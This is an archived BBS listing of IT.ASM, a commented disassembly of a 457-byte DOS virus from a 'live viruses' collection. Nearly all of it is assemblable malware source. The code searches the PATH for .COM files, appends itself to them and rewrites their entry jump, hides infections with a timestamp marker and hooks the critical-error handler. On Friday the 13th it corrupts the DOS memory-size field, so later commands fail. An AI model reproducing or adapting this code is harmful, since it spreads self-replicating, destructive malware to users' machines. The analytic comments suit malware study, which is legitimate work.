home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / it.asm < prev    next >
Assembly Source File  |  1993-04-24  |  15KB  |  423 lines
  1. ;*************************************************************************
  2. ;*                                                                       *
  3. ;*                                 IT.ASM                                *
  4. ;*      ORIGIN: MEXICO                                                   *
  5. ;*      SIZE:457                                                         *
  6. ;*      DISASSEMBLY & ANALYSIS BY: Kohntark                              * 
  7. ;*      Created:   24-Apr-93                                             *
  8. ;*                                                                       *
  9. ;*************************************************************************
  10.  
  11.  
  12. MAIN            SEGMENT
  13.         ASSUME  cs:main, ds:main
  14.         ORG  100h
  15.   
  16. HOST:
  17.         jmp     VIRUS                   ; (0147)
  18.         add     bx,22h                  ;Do nothing host
  19.         add     cx,23h
  20.         add     dx,2Dh
  21.         add     si,17h
  22.         add     di,22h
  23.         nop
  24.         nop
  25.         nop
  26.         nop
  27.         nop
  28.         add     ax,22h
  29.         add     bx,22h
  30.         add     cx,23h
  31.         add     dx,2Dh
  32.         add     si,17h
  33.         add     di,22h
  34.         nop
  35.         nop
  36.         nop
  37.         nop
  38.         nop
  39.         add     ax,22h
  40.         add     bx,22h
  41.         add     cx,23h
  42.         add     dx,2Dh
  43.         add     si,17h
  44.         add     di,22h
  45.         nop
  46.         nop
  47.         nop
  48.         nop
  49.         nop
  50.         int     20h                     ;Host Program Terminate
  51.  
  52. ;*****************************************************************************
  53. ; virus starts here
  54. ;*****************************************************************************
  55.  
  56. VIRUS:
  57.         push    ax                      ;save ax, unnecessary
  58.         call    GET_POE                 
  59.  
  60. GET_POE:                                        ;get point of entry
  61.         pop     bp
  62.         sub     bp,304d                 ;pad index
  63.                           
  64. ;****************************************
  65. ; restore host
  66. ;****************************************
  67.  
  68.         lea     si,[bp+753d]            ;HOST_STUB
  69.         mov     di,100h                 ;address to restore to
  70.         mov     cx,3                    ;restore 3 bytes
  71.         cld                             ;Clear direction flag
  72.         rep     movsb                   ;restore from si to di 3 bytes
  73.  
  74. ;****************************************                
  75. ; get DTA's address
  76. ;****************************************
  77.         
  78.         push    es                      ;save es
  79.         mov     ah,2Fh                  ;ah=function 2Fh   
  80.         int     21h                     ;get DTA address into es:dx
  81.  
  82. ;****************************************
  83. ; save DTA address into v-code
  84. ;****************************************
  85.         
  86.         mov     ss:763d[bp],bx        ;(600D:02FB=3032h) =  763
  87.         mov     ss:765d[bp],es        ;(600D:02FD=3032h) =  765
  88.  
  89. ;****************************************
  90. ; redirect the DTA into v-code
  91. ;****************************************
  92.         
  93.         mov     ah,1Ah                  ;ah=function 1Ah 
  94.         lea     dx,[bp+767d]            ;Load effective addr
  95.         int     21h                     ;set DTA to ds:dx  (HEAP)
  96.  
  97. ;****************************************                
  98. ; hook int 24h Critical Error Handler
  99. ;****************************************
  100.  
  101.         mov     ax,2524h                ;ah=function 25h  
  102.         lea     dx,[bp+710d]            ;Load effective addr
  103.         int     21h                     ;set intrpt vector al to ds:dx 
  104.  
  105. ;****************************************                
  106. ; scan for 'PATH=' in environment
  107. ;****************************************
  108.  
  109.         mov     es,ds:44d               ;es:di => environment segment
  110.         xor     di,di                   ;Zero register
  111. FIND_PATH:
  112.         lea     si,[bp+742d]            ;Load effective addr (438)
  113.         lodsb                           ;String [si] to al
  114.         mov     cx,8000h                ;scan the whole segment
  115.         repne   scasb                   ;Rept zf=0+cx>0 Scan es:[di] for al
  116.         
  117.         mov     cx,4
  118.  
  119. ;***************************************  
  120. ; Loop to check for the next 4
  121. ; characters
  122. ;***************************************
  123.  
  124. CHECK_NEXT_4:
  125.         lodsb                           ;String [si] to al
  126.         scasb                           ;Scan es:[di] for al
  127.         jnz     FIND_PATH               ;If not all there start all over
  128.         loop    CHECK_NEXT_4            ;loop to check next character
  129.   
  130.         pop     es
  131.         mov     ss:759d[bp],di          ;save the address of the path
  132.         lea     di,[bp+32Ah]            ;Filename workspace
  133.         jmp     short SLASH_OK          ; (01D2)
  134.  
  135. ;******************************************
  136. ; Look in the path for more subdirectories
  137. ;******************************************
  138.  
  139. SET_SUBDIR:
  140.         cmp     ss:759d[bp],00          ;(600D:02F7=3856h)
  141.         jne     FOUND_SUBDIR            ; Jump if not equal
  142.         jmp     RESET_DTA               ; (029E)
  143.  
  144. FOUND_SUBDIR:
  145.         push    ds
  146.         mov     ds,ds:44d               ;ENVIRONMENT
  147.         mov     si,ss:759d[bp]          ;(600D:02F7=3856h)
  148.         lea     di,[bp+32Ah]            ;di points to filename workspace
  149.  
  150. MOVE_SUBDIR:
  151.         lodsb                           ;String [si] to al, get char
  152.         cmp     al,3Bh                  ;';' path delimiter
  153.         je      MOVED_ONE               ;found another dir
  154.         or      al,al                   ;Zero ?
  155.         jz      MOVED_LAST_ONE          ;Jump if zero
  156.         stosb                           ;store al to es:[di]
  157.         jmp     short MOVE_SUBDIR       ;(01B6)
  158.  
  159. MOVED_LAST_ONE:
  160.         xor     si,si                   ;Zero register
  161.  
  162. MOVED_ONE:
  163.         pop     ds
  164.         mov     ss:759d[bp],si          ;(600D:02F7=3856h)
  165.         cmp     byte ptr [di-1],5Ch     ; '\'
  166.         je      SLASH_OK                ; Jump if equal
  167.         mov     al,5Ch                  ; '\'
  168.         stosb                           ; Store al to es:[di]
  169. SLASH_OK:
  170.         mov     ss:761d[bp],di          ;restore filename pointer to name workspace
  171.         lea     si,[bp+2EBh]            ;restore si
  172.         mov     cx,6                    ;# of bytes to move point to *.COM
  173.         rep     movsb                   ;Rep while cx>0 Mov [si] to es:[di]
  174.                         ;move *.com to workspace
  175. ;************************************                
  176. ; FIND files to infect
  177. ;************************************
  178.  
  179.         mov     ah,4Eh                  ;ah=function 4Eh 
  180.         mov     cx,3                    ;attributes read only or hidden OK
  181.         lea     dx,[bp+32Ah]            ;Load effective addr
  182.         int     21h                     ;find 1st filenam match @ds:dx    
  183.         
  184.         jmp     short FIND_FIRST
  185. FIND_NEXT:
  186.         mov     ah,4Fh                  ;ah=function 4Fh     
  187.         int     21h                     ;find next filename match   
  188.  
  189. FIND_FIRST:
  190.         jnc     FOUND_FILE              ; Jump if carry=0
  191.         jmp     short SET_SUBDIR           
  192.  
  193. FOUND_FILE:
  194.         mov     al,ss:315h[bp]          ;get time from DTA
  195.         and     al,1Eh                  ;mask off all but seconds
  196.         cmp     al,1Eh                  ;seconds = 60?
  197.         je      FIND_NEXT               ;possibly infected get next file
  198.         
  199.         cmp     word ptr ss:319h[bp],0FBC2h     ;is file too long?
  200.         ja      FIND_NEXT                       ;if so get next file
  201.         
  202.         lea     si,[bp+31Dh]            ;di => filename
  203.         mov     di,ss:761d[bp]          ;si => filename in DTA
  204. MORE_CHARS:
  205.         lodsb                           ;move string to the end of path
  206.         stosb                           ;Store al to es:[di]
  207.         or      al,al                   ;Zero ? move until we find a 00
  208.         jnz     MORE_CHARS              ;Jump if not zero
  209.  
  210. ;**********************************
  211. ; Get file's attributes from DTA
  212. ;**********************************
  213.  
  214.         mov     ax,4301h                ;ah=function 43h   
  215.         xor     cx,cx                   ;cx = 0
  216.         lea     dx,[bp+32Ah]            ;dx => path/filename
  217.         int     21h                     ;get/set file attrb, nam@ds:dx 
  218.  
  219. ;************************************
  220. ; Open file for I/O
  221. ;************************************
  222.         
  223.         mov     ax,3D02h                ;ah=function 3Dh 
  224.         lea     dx,[bp+32Ah]            ;Load effective addr,name of file
  225.         int     21h                     ;open file, al=mode,name@ds:dx  
  226.         
  227.         jc      RESET_ATTR              ;Jump if carry Set
  228.         mov     bx,ax                   ;put file handle in bx
  229.  
  230. ;*****************************************                
  231. ; Read file's 1st 3 bytes
  232. ;*****************************************
  233.  
  234.         mov     ah,3Fh                  ;ah=function 3Fh 
  235.         mov     cx,3                    ;# of bytes to read
  236.         lea     dx,[bp+2F1h]            ;put 3 bytes here
  237.         int     21h                     ;read file, cx=bytes, to ds:dx  
  238.         
  239.         jc      RESET_DATE              ;problem? set iD and exit
  240.         cmp     ax,3
  241.         jne     RESET_DATE              ;problem? set iD and exit    
  242.  
  243. ;**************************************                
  244. ; move file pointer to EOF
  245. ;**************************************
  246.  
  247.         mov     ax,4202h
  248.         xor     cx,cx                   ; Zero register
  249.         xor     dx,dx                   ; Zero register
  250.         int     21h                     ; DOS Services  ah=function 42h
  251.                         ;  move file ptr, cx,dx=offset
  252.         jc      RESET_DATE              ;problem? set iD and exit
  253.  
  254. ;*****************************************
  255. ; calculate host's jump to virus address
  256. ;*****************************************
  257.         
  258.         sub     ax,3
  259.         mov     word ptr ss:757d[bp],ax  ; (600D:02F5=5449h)
  260.         
  261. ;***************************************
  262. ; Write virus to EOF
  263. ;***************************************
  264.         
  265.         mov     ah,40h                  ;ah=function 40h'
  266.         mov     cx,1C9h                 ;write 457 bytes
  267.         lea     dx,[bp+12Ch]            ;Load effective addr
  268.         int     21h                     ;write file cx=bytes, to ds:dx   
  269.  
  270.  
  271.         jc      RESET_DATE              ;problem? set iD and exit
  272.         cmp     ax,1C9h                 ;wrote 457 bytes?
  273.         jne     RESET_DATE              ;if not reset date & exit
  274.  
  275. ;***************************************               
  276. ; move file ptr to beginning of File
  277. ;***************************************
  278.  
  279.         mov     ax,4200h                ;ah=function 42h   
  280.         xor     cx,cx                   ;Zero register
  281.         xor     dx,dx                   ;Zero register
  282.         int     21h                     ;move file ptr, cx,dx=offset   
  283.         
  284.         jc      RESET_DATE              ;problem? set iD and exit
  285.  
  286. ;****************************************                
  287. ; write jmp code to virus at the
  288. ; beginning of the new host
  289. ;****************************************
  290.         
  291.         mov     ah,40h                  ;ah=function 40h    
  292.         mov     cx,3                    ;write 3 bytes
  293.         lea     dx,[bp+2F4h]            ;3 bytes here
  294.         int     21h                     ;write file cx=bytes, from ds:dx   
  295.  
  296. ;***************************************
  297. ; reset file's date and time and fix ID
  298. ;***************************************
  299.  
  300. RESET_DATE:
  301.         mov     ax,5701h                ;ah=function 57h  
  302.         mov     cx,ss:315h[bp]          ;(600D:0315=0)
  303.         mov     dx,ss:317h[bp]          ;(600D:0317=0)
  304.         and     cx,0FFE0h               ;fix ID (time)
  305.         or      cl,1Eh                  ;set seconds to 60 (30 * 2)
  306.         int     21h                     ;set file date & time  
  307.  
  308. ;*********************************
  309. ; Close file handle
  310. ;*********************************
  311.  
  312.         mov     ah,3Eh                  ;ah=function 3Eh    
  313.         int     21h                     ;close file, bx=file handle       
  314.  
  315. ;*********************************
  316. ; Restore file attrs
  317. ;*********************************
  318.  
  319. RESET_ATTR:
  320.         mov     ax,4301h                ;ah=function 43h    
  321.         xor     cx,cx                   ;Zero register
  322.         mov     cl,ss:314h[bp]          ;(600D:0314=0) previous file attrs here  
  323.         lea     dx,[bp+32Ah]            ;file name here
  324.         int     21h                     ;set file attrb, nam@ds:dx   
  325.  
  326. ;****************************************
  327. ; reset DTA
  328. ;****************************************
  329.  
  330. RESET_DTA:
  331.         push    ds                         ;save current data segment
  332.         mov     ah,1Ah                     ;ah=function 1Ah     
  333.         lds     dx,dword ptr ss:763d[bp]   ;(600D:02FB=3032h) Load 32 bit ptr
  334.         int     21h                        ;set DTA to ds:dx   
  335.  
  336. ;******************************************
  337. ; Restore int 24h, critical error handler
  338. ;******************************************
  339.         
  340.         lds     dx,dword ptr es:12h     ;(600D:0012=0) Load 32 bit ptr
  341.         mov     ax,2524h                ;ah=function 25h  
  342.         int     21h                     ;set intrpt vector al to ds:dx 
  343.         pop     ds                      ;restore current data segment
  344.  
  345. ;*************************************                
  346. ; Find out if current date is
  347. ; the friday the 13th
  348. ;*************************************
  349.  
  350.         mov     ah,2Ah                  ;ah=function 2Ah
  351.         int     21h                     ;get date, cx=year, dx=mon/day       
  352.         
  353.         cmp     dl,0Dh                  ;compare day to 13 
  354.         jne     EXIT                    ;not the 13th?
  355.         
  356.         cmp     al,5                    ;friday?
  357.         jne     EXIT                    ;not friday? exit.
  358.  
  359. ;*************************************                                                
  360. ; Kill Dos memory size
  361. ; Every command run will give a 
  362. ; OUT OF MEMORY message
  363. ;*************************************
  364.         
  365.         push    es                      ;save es
  366.         mov     ah,52h                  ;ah=function 52h  
  367.         int     21h                     ;get DOS ' list of lists
  368.  
  369.         mov     es,es:[bx-2]            ;segment of 1st memory block
  370.         mov     byte ptr es:[0000],00   ;kill memory size
  371.         pop     es                      ;restore es
  372. EXIT:
  373.         pop     ax                      ;restore ax saved at beginning of code
  374.         xor     bx,bx                   ;Zero register
  375.         xor     cx,cx                   ;Zero register
  376.         xor     dx,dx                   ;Zero register
  377.         xor     si,si                   ;Zero register
  378.         xor     di,di                   ;Zero register
  379.         mov     bp,100h                 ;set return address
  380.         push    bp                      ;push return address in stack
  381.         xor     bp,bp                   ;Zero register
  382.         retn                            ;return to host
  383.  
  384. ;*******************************************************************************  
  385.  
  386. ;*********************************** 
  387. ; INT 24H CRITICAL ERROR HANDLER
  388. ;***********************************
  389.  
  390. int_24h_entry:   
  391.         
  392.         add     sp,6                   ;move stack pointer
  393.         pop     ax                     ;restore all registers
  394.         pop     bx
  395.         pop     cx
  396.         pop     dx
  397.         pop     si
  398.         pop     di
  399.         pop     bp
  400.         pop     ds
  401.         pop     es
  402.         stc                             ;Set carry flag
  403.         retf    2                       ;Return far
  404.  
  405. int_24h_entry_end: 
  406.  
  407. ;******************************************************************************
  408.  
  409. copyright       db      '(C) ITV85020203'
  410.         db      0
  411.         db      'PATH=*.COM',0 
  412. HOST_STUB       db      05, 22h, 00             ;add ax,34d = 052200    
  413. NEW_JUMP        db      0E9h                    ;new host's jmp code to virus 
  414.                         ;goes here
  415.  
  416. ;**************************************************  
  417. ; The DTA gets redirected to the heap after file.
  418. ; Also the working space goes in the heap
  419. ;**************************************************
  420.  
  421. MAIN            ENDS 
  422.         END     HOST
  423.